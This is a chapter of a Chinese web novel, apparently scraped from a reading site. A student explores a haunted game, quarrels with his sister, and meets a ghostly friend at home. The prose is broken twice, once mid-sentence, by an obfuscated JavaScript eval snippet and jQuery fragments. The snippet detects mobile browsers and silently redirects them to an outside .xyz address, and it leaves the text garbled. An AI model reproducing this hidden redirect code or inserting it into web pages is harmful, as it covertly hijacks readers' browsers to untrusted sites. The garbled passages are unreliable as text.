薛文芝啪叽一下拍到季不寄的肩膀上,大力揉了下这小子的头:“我什么时候不关心你了?”
季不寄满脑子只剩时恩赐那句“一会儿见”,喃喃自语道:“如果我死了,你记得把我撒海里。”
“你在说什么不吉利的话呢?”薛文芝大惊失色。
“不喝了,回去吧,我先上个厕所。”季不寄转身进了隔间,把门插上,只留薛文芝一个人在门口发懵。
他在卫生间待这么久干什么了?
晚上两人打车回去,正好他们顺路,一个住校门口一个住校内。夏夜闷热,司机师傅为图节省没有开空调,季不寄打开车窗,晚风灌了进来。
他眯着眼睛,贴在窗边吹了会儿风,浸泡在酒液里的大脑再度艰难运转起来。
时恩赐的表情,从何时起变得晦涩难懂了?
他理应是金枝玉叶的少爷脾性,从不遮掩,更不会委屈自己的情绪,干净得宛如一张白纸,简单明了。
车先经过湖西大学,停在西门口,季不寄下了车,把薛文芝浑身酒臭的拥抱挡在门后。
夏季的空气沉闷黏稠,近乎融化,夏蝉爬在校门口的大树上,鸣声刺耳。季不寄踩上路沿石,顺着空荡荡的街边走了百余米,停在一处空地。
时恩赐就死在这里。
季不寄在思政考试时是坚定的唯物主义者,不过,现在他不在考场。
他默默蹲下,回忆着那日新闻的快讯图,指头碾过一寸寸土地,摩挲粗粝的沙砾,想象着他是如何迎接的死亡。
是在一瞬间失去意识的吗?
还是被剧烈的冲撞后,倒地、挣扎,感受着五腹六脏的剧痛,等待自己的血液逐渐冷却?
他会后悔吗?会不会痛苦、遗憾、不甘?还是像电视剧里描绘的圣母女主一般,流露出一个恬静恶心的笑容,随即慢慢阖上眼睑。
季不寄越想越心烦,感觉自己大半夜不回去睡觉,搁大马路上缅怀先人是纯纯有病。
他直起身子来,在裤子上拍拍手,回去接着打游戏去。
上次他玩养成游戏时闪出来了个“你将葬身于此”,还没琢磨明白,游戏就把他驱之门外了。季不寄有些在意金发小人之后的发展,回到宿舍,在椅子上一坐,再度点开游戏,
游戏加载条稳步到顶,界面缓缓展开,顺利进入了游戏。
金发小人这次出现在了夜幕深沉的森林里,粗壮的树干高耸入云,树根攀枝错节,无数奇异的植被竞相生长,季不寄拖动摇杆走了一会儿,意识到自己竟是迷路了。
游戏内并未设计出方便玩家查阅定位的地图,金发小人只得于参天古木间穿行,接近半人高的野草丛遮挡住了大部分视野,致使玩家仅能窥见幽深莫测的天空。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780830|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
季不寄在这附近绕了好半天,终于找见了一条正确的林中小路。遥遥望去,他眺到远处的小木屋露出尖尖角,高高的烟囱给了他前进的方向。
小人奔跑着,衣料与夜间林叶擦出簌簌声响,虫吟不绝于耳。
顷刻间,小人停了下来。
【前方似乎有什么东西。】
季不寄转动视角,四处寻去,发现附近的林木间影影绰绰地悬着什么东西。他拉近镜头去瞧,那影子由藤蔓缠绕,吊于半空中随风飘荡,兴许并非活物,未曾发出半点声响。
他操纵金发小人一步步走过去,惨白的月光下,一具无脸的尸体赫然在目。
【这是我的尸体。】
季不寄一怔,再度忆起上次浮现出来那行红色血字。
金发小人已经死过一次了。
这究竟是怎么一回事?
在发现尸体的一刹,游戏进度来到了20%的位置,似乎是又完成了什么关键节点。
季不寄点开了弹出的宝箱,金光乍泄,一部黑色的方形物体出现在眼前。
【恭喜你获得手机*1】
季不寄眨眨眼睛,暂时将这东西收入物品栏。
一阵悦耳的钢琴声在耳畔霍然响起,季不寄听了两秒,反应过来是游戏里的声音。
为什么半夜的林子里会有钢琴声?
季不寄顺着音乐声折返回林间深处,清冽的小溪同音符一起流动着,哗哗流水,在这样的环境下显得有些诡异。
丛林深处,竟是有一座由古老的石墙堆砌而成的迷宫,青苔石面斑驳陆离,藤蔓与苔霜交织,宛如进入了一座历史沧桑的巨型城堡,身临其境。
迷宫的道路蜿蜒曲折,起初还是一条宽敞的大道,愈往深入,道路愈发逼仄狭隘,视野范围逐步缩小,到最后只能侧身通过,哪怕是在屏幕之外的玩家也感到无比窒息。
前方出现了一条岔路口,季不寄不确定是否要继续深入,万一后续的路径变得更加狭窄,那登时想要撤退都无能为力。
这时,游戏小人给出了提示。
【好好听音乐!沿着声音走。】
他的前半句话缀着一个感叹号,似乎为季不寄的游戏天赋很是捉急,季不寄自言自语地嘀咕道:“还不是怕你又葬身于此了。”
语毕,他噤了声,连呼吸声都压到最低,竭力去捕捉游戏内细碎的钢琴片段。
大抵是游戏原创的曲子,季不寄从未听过这样一首乐曲,它断断续续地放出其中的各个片段。旋律时而灵动活泼,时而悠扬婉转,每一节既独立成篇,又和谐统一。
他循着音量较大的一处去,拐进左侧的隧道,道路宽敞了些,有条一路向下的斜坡。音符在阴暗的空间里翩翩起舞,石壁的烛台亮起幽幽火苗。
走了十来分钟的距离,他们来到了一个敞亮的大厅,四下寂寥无人,唯有石台中央摆放着一架独自奏乐的钢琴。
见惯了各种灵异事件,季不寄此刻早就不把这款游戏当子供向养成游戏。哪怕下一秒钢琴化身吃人钢琴怪他都不觉奇怪。
【你的面前出现了一架钢琴,此时你想——】
选项一:上前奏乐一曲。
选项二:当然是来一支斗牛舞啦!
22. 喜欢这裙子的不是你吗
季不寄的手指头伸向了第二个选项。
【你最好想清楚再做选择。】
金发小人的对话框打破了玩家与游戏角色之间的第四面墙。
季不寄从未见过有人跳斗牛舞,他极度好奇这到底是一支什么样的舞蹈,全然不顾金发小人暗含威胁的话语。
然而好奇心旺盛,可不是件好事。
电光火石之间,一头杀红了眼的黑毛野牛从一个不知名的角落窜了出来,直直袭向金发小人。
季不寄再一次把自家公主坑了,小人连连躲闪,在敞阔的大厅绕着钢琴与野牛周旋。那野牛身上的黑毛硬挺,体型硕大雄壮,矫健的四肢如石柱子般粗壮,单是一根牛腿就能遮挡住小人的全部身形,充满了爆发性的力量。
牛头上鼻孔张大,呼吸间不断喷出腥气,犄角恰似两把锐利的弯刀,横冲直撞,金发小人被他操纵着左躲右闪,侥幸躲过了最险的一次攻击,牛角插入了厚重的墙壁。
砰——
墙壁震颤,发出瘆人的动静,穹顶上石灰扑簌簌地落下,季不寄趁机让小人原路返回。
他们刚往对角线方向的入口处跑了没几步,路过那架中央的钢琴时,音乐声猛地放大了数倍,屏幕之外的季不寄被吵得一瞬间失聪了几秒。
剧痛自耳膜深处传来,高频率持续的耳鸣声似是有无数马蜂在耳蜗里振翅飞舞,令人倍感晕眩。
连游戏外的他都如此,游戏里的小人又会是怎样的一番处境?
季不寄没想到玩个游戏还能给自己整出伤害,缓过劲来,聚焦目光,瞧向屏幕里的金发小人。
【你已葬身于此。】
【死因:记忆中最甜蜜的那段乐章。】
金发小人的尸体倒在钢琴旁,耳朵渗出一滩血液,灰色的衣服染成深色。季不寄盯着眼前的血色大字,久久不能平静。
不过游戏并没有给他太多思考的时间,一分钟后,界面闪过黑屏,游戏自行关闭,又进入了新一轮的维护。
游戏角色死亡会有什么后果?
下次登录后还会复活吗?
这究竟是以什么为目的设计出来的一款游戏?
季不寄的脑海中闪过诸多疑问,却无人解答。
时间不早了,他活动了下僵硬的肩胛骨,去卫生间洗漱,打算先睡一觉,剩下的明早再说。
他最近在找兼职工作,薛文芝知道后大力邀请他去自己的工作室上班,季不寄问他干什么,他可不会穿孔。
薛文芝笑道,你只需要在客人进来时,把耳朵撩起来给他们看就足够了。
季不寄总感觉这不大对劲,虽说不上来是哪里不对,还是果断拒绝了薛文芝的好心邀请。
次日一早,季不寄接到了大姐季不鸣的电话。她目前在一家加盟奶茶店担任店长,一天24小时几乎都在上班,今天忙里抽闲给他打个电话倒着实罕见。
“季不寄,醒了没?”她连名带姓地喊道。
没醒谁接她电话。
“醒了。”季不寄道。
“你放假了吧,回家没?”
“我不回家了。”季不寄边穿衣服边道。
家里只有两间卧室,季不凡长大后独自霸占了一间,他母亲在另外一间主卧。季不鸣回家后还能和母亲挤一挤,而他不愿和季不凡同屋,只能去睡客厅那张脏脏小小的旧沙发。
季不鸣单刀直入道:“我休假一天,今晚要回家一趟,你跟我一起回去。”
“我为什么要跟你一起回去?”季不寄问。
季不鸣反问:“你放假不回家天天在宿舍蹲着有什么意思?”
季不寄不是派对型大学生,不打工的日常无非是在宿舍网上冲浪,最近有了这个游戏,他的大部分闲暇时光被此占据,过得格外充实。
“我打游戏。”他打开免提,自己先下了床。
季不鸣奇怪道:“你不是不打游戏吗?”
她以前学生时代痴迷于一款少女换装手游,为了集齐某套限定时装,勒索过季不寄不少零花钱。
父亲在世时,偶尔心情好了会给他们仨小孩几块钱零花钱,季不鸣不敢欺负备受宠爱的小弟季不凡,于是隔三差五管季不寄借钱,最后干脆以替他保管的名义全部没收了。
母亲有段时间上早班,没空做饭,如果早起上学的季不寄想要早饭钱,还得通过给她打工的途径把自己的零花钱赚回来。
童年备受压榨的季不寄白日里学着给季不鸣扎头发,束各种复杂的发型,如若做得不好则非打即骂。还需要手搓她的脏衣服,去她上课的教室跑腿送餐,晚上睡前给自家长姐端洗脚水。
季不寄成年离开家后,对季不鸣的态度是能躲就躲,退让三舍。
见季不寄那头没了人声,季不鸣习惯性发号施令道:“我不管你现在做什么,今晚必须和我回家一趟,我下午六点开车过去接你。”
话一说完,她直接挂断了电话。
季不寄盯着她那条通话记录,一串本地的电话号码,他没在通讯录里存过。
季不鸣对这个家应当也不会存在什么美好回忆,同城工作后就近租了房子,除却节假日鲜少回家,怎么突然想回去了呢?还非要拽着他一起。
傍晚时分,季不鸣发了条消息通知他车到了,季不寄没背包,手机揣兜里,出了校门。
她的车刚好停在西门的一侧,季不寄低头看了眼她发的车牌号,有两个3两个7,确实是这辆黑色的小轿车。
季不寄拉开车门,坐进副驾。半年没见,季不鸣的头发剪短了,干净利落,给人的感觉十分锋利。
车子发动,驶往湖东区,一路上两人不发半语。季不鸣放了首车载音乐,心无旁骛地开车,季不寄隔一会儿瞥一眼手机。
“西大的校门口那家甜品店不错。”季不鸣陡然打破了车内的寂静。
季不寄没抬起头:“是不错。”
“有人给你发消息?”季不鸣问,她觉察到了季不寄的小动作。
“没有。”季不寄否认。
那就是在等消息了。他隔三差五地看看手机,像是因什么东西而牵挂着。这副模样出现在性情冷淡的季不寄身上,着实引人遐想。
“老师?朋友?还是……”季不鸣的手指在方向盘上敲了敲:“我要有弟妹了?”
她每问一句,季不寄就轻晃一下头。问到最后,他忍不住开口道:“你关心这个做什么?”
季不鸣耸耸肩:“我是你姐,关心你不是应该的?”
季不寄认为这种话从自幼剥削自己的季不鸣口中说出来非常荒谬,他闭了闭眼睛,扭头问:“你到底为什么非想回家?”
季不鸣道:“我想吃妈做的菠萝排骨了。”
季不寄一怔,抬眸望向她。
他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780831|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母亲在饭馆干过一段时间帮工,跟着在后厨学了点皮毛,做得最拿手的家常菜便是菠萝排骨。记得有一年猪价上涨,季不凡嚷嚷着要吃排骨,季母在早市上买了小一斤,心疼得不得了,端上餐桌了还在念叨。
焦香排骨包裹着诱人的糖色,与小块菠萝相得益彰,季不凡夹起一块热气腾腾的排骨肉,往嘴里送,被烫得像小老鼠一般乱叫。季母拍了他一下,说吃慢点,没人跟你抢。
季不寄没动筷子,他姐倒是伸筷夹了好几块,拌着米饭大快朵颐。只不过她夹肉的时候,会从碗边偷瞄母亲一眼,趁她不留意的功夫,再劫走盘子里的肉。
“那你为什么非要带上我?”他问。
季不鸣关掉了车载音乐,车厢倏然间安静下来,她专注地望着前方的路,轻声道:“季不凡今晚不在家。”
季不寄没理清楚她的逻辑,季不凡不在家,所以她要带上自己一起回去?这道菠萝排骨还需要达成人数条件才能制作?
之后他俩不再交谈,车子在夕阳的余晖下飞速行驶,很快到了他们从出生起住了许多个年头的出租屋。
季母正好下班回家,从包里摸索出一串钥匙,叮里咣啷地往门里试,廊道的声控灯坏了好些日子,狭小的空间漆黑一片,看不清锁眼。
季不寄替季不鸣从车上拎下来食材,瞅见他姐正杵在一边等季母开门。
他把东西换到一边手里,另一只手去掏手机开手电。
磨蹭了一会儿,他俩终于进了家门。不大的屋子已布满季不凡生活的痕迹,他的脏球鞋歪七扭八地脱在玄关,茶几上躺着一些烟头,臭袜子丢在沙发上。
“你俩先歇会儿,我去做饭。”季母道。
季不寄在客厅看了一圈,实在无处落脚,遂转身进了卧室。房间约莫十来平米,一里一外摆有两张床,中间用一截帘子隔断。小时候他们姐弟三人一起睡这间房,季不鸣住里边,后来她有了工作不再回家夜宿,季不凡便把他赶去了那张床,被褥枕头一并给他丢了过去。
季不凡今天不在,季母早上开了窗,屋子里刮进来了室外的草木香。
他无意多看季不凡的私人物品,往里边走去,拉开了那道帘子。
静谧的里间,一个人悄无声息地坐在窗台边上,姿态闲适,腿有一搭没一搭地晃着,金羽草般细长漂亮的眸子朝他看了过来。
季不寄的表情霎时变得如丧考妣。
“我想吃外边的芋泥麻薯团。”时恩赐指向窗外的路边小摊。
季不寄按了按额角,不是说建国以后不许成精么?
“你来我家做什么?”他冷声问。
时恩赐一展笑靥,似是夜里的昙花一现,姣好的容貌摄人心魂:“我给你带了好东西,你一定要收下我的心意。”
他眨眨眼睛,神神秘秘地从身后掏出一个袋子。
季不寄直觉不是什么好东西。
“噔噔~”
他把里边的东西倒在了季不寄的床上,是一条华美绝伦的公主裙,轻盈的薄纱上镶嵌有一颗颗碎钻珍珠,裙摆蓬松唯美,仿佛沾染了宫廷的玫瑰花香。
季不寄还不知道他要做什么,蹙眉道:“我以前怎么不知道你有异装癖?”
时恩赐长腿一抬,落到地面,抓起那条裙子,一步步逼近季不寄,声音暧昧撩人。
“很喜欢这条裙子的人,不是你吗?”